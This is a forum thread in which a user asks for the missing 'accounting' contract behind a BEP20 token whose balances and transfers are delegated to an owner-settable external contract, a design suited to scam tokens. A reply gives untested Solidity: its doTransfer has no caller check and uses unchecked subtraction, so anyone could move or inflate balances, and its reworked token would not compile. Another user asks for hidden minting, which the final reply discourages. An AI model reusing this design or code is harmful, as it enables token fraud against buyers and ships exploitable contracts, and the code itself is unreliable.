How to Create Accounting Address Contract?

Hello, I would like to create bsc contract that running with AccountingAddress function. The main bsc contract is like this:

pragma solidity ^0.8.15;

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

interface BEP20 {
    function balanceOf(address who) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function getOwner() external view returns (address);

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

interface Accounting {
    function doTransfer(address caller, address from, address to, uint amount) external returns (bool);
    function balanceOf(address who) external view returns (uint256);
}

contract RocketSperm is BEP20 {
    using SafeMath for uint256;

    string public name = "Rocket Sperm";
    address public owner = msg.sender;    
    string public symbol = "RSM";
    uint public _totalSupply;
    uint8 public _decimals;
    
    mapping (address => mapping (address => uint256)) private allowed;
    address private accounting;
    
    constructor() public {
        emit Transfer(address(0), msg.sender, _totalSupply);
        _totalSupply = 10000000 * 10 ** 9;
        _decimals = 18;
        _decimals = 9;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function getOwner() external view returns (address) {
        return owner;
    }

    function balanceOf(address who) view public returns (uint256) {
        return Accounting(accounting).balanceOf(who);
    }

    function approve(address spender, uint256 value) public returns (bool success) {
        allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    
    function allowance(address who, address spender) view public returns (uint256) {
        return allowed[who][spender];
    }

    function setAccountingAddress(address accountingAddress) public {
        accounting = accountingAddress;
        require(msg.sender == owner);
    }

    function renounceOwnership() public {
        require(msg.sender == owner);
        owner = address(0);
        emit OwnershipTransferred(owner, address(0));
    }
    
    function transferFrom(address from, address to, uint amount) public returns (bool success) {
        require(amount >= 1);
        allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
        emit Transfer(from, to, amount);
        return Accounting(accounting).doTransfer(msg.sender, from, to, amount); 
    }

    function transfer(address to, uint amount) public returns (bool success) {
        emit Transfer(msg.sender, to, amount);
        return Accounting(accounting).doTransfer(msg.sender, msg.sender, to, amount);
    }
}

The problem is, I'm missing the code for the accountingaddress contract. Can you help me for this accountingaddress contract? I'm very confused and frustrating about it.

1 Like

It is a bit less information what you want to "account"...

Makes no sense to me to do it that way except you want to change the balances of the user afterwards... (you could do your accounting in this contract...) to do it in another contract gives the possibility to change it afterwards...

Accounting:

pragma solidity >=0.8.0;


contract Accounting {

    mapping(address => uint) private _balances;

    mapping(address => uint) public accountCount;


    constructor() {}

    function doTransfer(address caller, address from, address to, uint amount) external {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint fromBalance = _balances[from];

        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        // Here it depends what you want to account...
        accountCount[caller] += 1;

        _afterTokenTransfer(from, to, amount);
    }

    function balanceOf(address addr) external view returns(uint) {
        return _balances[addr];
    }

    /**
     * Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

}

Also your constructor makes no sense to me... Why set decimals to set them again in the next line? Also there are no tokens emitted ... which means the emit is wrong...
You also should set the accounting in the constructor.

Here also an idea to make it work (just noticed there a many errors in the code ... so prop. need to overwork alot more):

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../utils/Accounting.sol";


contract RocketSperm is ERC20 {
    using SafeMath for uint256;

    string public name = "Rocket Sperm";
    address public owner = msg.sender;    //this also not work I guess... (not tested)
    string public symbol = "RSM";
    uint public _totalSupply;
    uint8 public _decimals;
    
    mapping (address => mapping (address => uint256)) private allowed;
    address private accounting;
    
    constructor() public {
        emit Transfer(address(0), msg.sender, _totalSupply);
        _totalSupply = 10000000 * 10 ** 9;
        // _decimals = 18; -> makes no sense
        _decimals = 9;
        Accounting temp = new Accounting();
        accounting = address(temp);
        //also accounting has no minting (looks like the code you give... right now I lost the motivation xD)
    }

*Nothing tested

1 Like

Hello, I'm interested in this discussion. Currently I am also creating a project related to AccountingAddress.
From my project point of view, I need an AccountingAddress that can mint supply of tokens (hidden minting).
Any clues?

1 Like

There is no possibility to hide something on a "not-private" Blockchain.

You could ofc. create another contract which handle balances/mint/burn/... but it is possible to see at any time that another contract (even if its not verify) is called...

So don't join the dark force :wink:

1 Like